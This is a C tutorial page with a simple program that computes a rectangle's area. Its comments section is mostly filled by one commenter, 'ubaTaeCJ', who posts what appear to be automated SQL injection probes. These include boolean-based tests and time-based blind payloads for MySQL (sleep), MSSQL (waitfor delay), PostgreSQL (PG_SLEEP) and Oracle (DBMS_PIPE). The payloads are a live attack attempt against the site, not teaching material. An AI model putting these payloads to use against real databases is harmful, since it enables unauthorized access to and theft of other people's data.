C Program to find area of Rectangle

Get length and breadth of rectangle and find area of rectangle

Sample Input 1:

4 5

Sample Output 1:

20

Program or Solution

				
			
					
#include<stdio.h>

int main()

{
    
	int length,breadth, area;
 
	printf("Enter length and breadth of rectangle:");   
	scanf("%d %d",&length,&breadth);

	area=length * breadth;
    
	printf("\nArea of Rectangle: %d",area);
    
	return 0;

}
			
				
			

Program Explanation

Get length and breadth of a rectangle (using scanf statement)

Calculate area by multiplying length and breadth (area = length * breadth) print area (using printf statement)

Comments

Sanjaykumar
This C coding is simple and easy to understandable. Very simple programming.
ubaTaeCJ
-1 OR 2+994-994-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+994-994-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+994-994) --
ubaTaeCJ
-1 OR 3*2>(0+5+994-994) --
ubaTaeCJ
-1 OR 2+467-467-1=0+0+0+1
ubaTaeCJ
-1 OR 3+467-467-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+467-467)
ubaTaeCJ
-1 OR 3*2>(0+5+467-467)
ubaTaeCJ
-1' OR 2+70-70-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+70-70-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+70-70) --
ubaTaeCJ
-1' OR 3*2>(0+5+70-70) --
ubaTaeCJ
-1' OR 2+822-822-1=0+0+0+1 or 'xmSCMBg8'='
ubaTaeCJ
-1' OR 3+822-822-1=0+0+0+1 or 'xmSCMBg8'='
ubaTaeCJ
-1' OR 3*2<(0+5+822-822) or 'xmSCMBg8'='
ubaTaeCJ
-1' OR 3*2>(0+5+822-822) or 'xmSCMBg8'='
ubaTaeCJ
-1" OR 2+748-748-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+748-748-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+748-748) --
ubaTaeCJ
-1" OR 3*2>(0+5+748-748) --
ubaTaeCJ
if(now()=sysdate(),sleep(3),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(3),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
KvmZzant'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 216=(SELECT 216 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 756=(SELECT 756 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
ubaTaeCJ
lsF0HBBn' OR 275=(SELECT 275 FROM PG_SLEEP(15))--
ubaTaeCJ
TMFMAdLT') OR 355=(SELECT 355 FROM PG_SLEEP(15))--
ubaTaeCJ
YDb3WKmO')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@gKAgT